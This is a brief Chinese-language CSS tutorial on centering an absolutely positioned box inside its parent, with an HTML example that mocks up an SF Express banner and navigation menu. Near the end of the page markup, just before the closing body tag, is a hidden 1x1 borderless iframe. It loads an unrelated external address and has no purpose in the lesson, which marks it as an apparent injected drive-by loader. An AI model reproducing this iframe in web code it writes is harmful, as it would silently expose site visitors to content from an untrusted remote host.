- ★:margin:0 auto; 只能让标准流的盒子居中对齐。
- ★定位的盒子居中:先向右走父元素盒子的一半50%,在向左走子盒子的一半(margin-left:负值。)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>顺丰居中</title>
<style type="text/css">
body,ul,li{
margin: 0;
padding: 0;
}
ul{
list-style: none;
/*position: absolute;*/
}
.banner{
width: 1259px;
height: 472px;
margin: 30px auto;
position: relative;
}
.nav{
width: 960px;
height: 60px;
background: #444;
position: absolute;
/*bottom: 0;*/
left: 50%;
margin-left: -480px;
bottom: 0;
}
.nav ul li{
float: left;
width: 160px;
height: 60px;
line-height: 60px;
text-align: center;
}
.nav ul li a{
display: block;
width: 160px;
/*height: 60px;*/
color: #fff;
text-decoration: none;
}
.nav ul li a:hover{
background: #fff;
color: #000;
}
.sj{
position: absolute;
left: 234px;
bottom: 72px;
}
.search{
position: absolute;
left: 162px;
bottom: 80px;
}
</style>
</head>
<body>
<div class="banner">
<img src="img/sf.png" >
<div class="nav">
<ul>
<li><a href="#" class="">运单查询</a></li>
<li><a href="#">运费查询</a></li>
<li><a href="#">时效查询</a></li>
<li><a href="#">服务网点查询</a></li>
<li><a href="#">收送范围查询</a></li>
<li><a href="#">客户专区</a></li>
</ul>
</div>
<div class="sj"><img src="img/4.png" alt=""></div>
<div class="search"><img src="img/3.png"></div>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
定位盒子居中
网友评论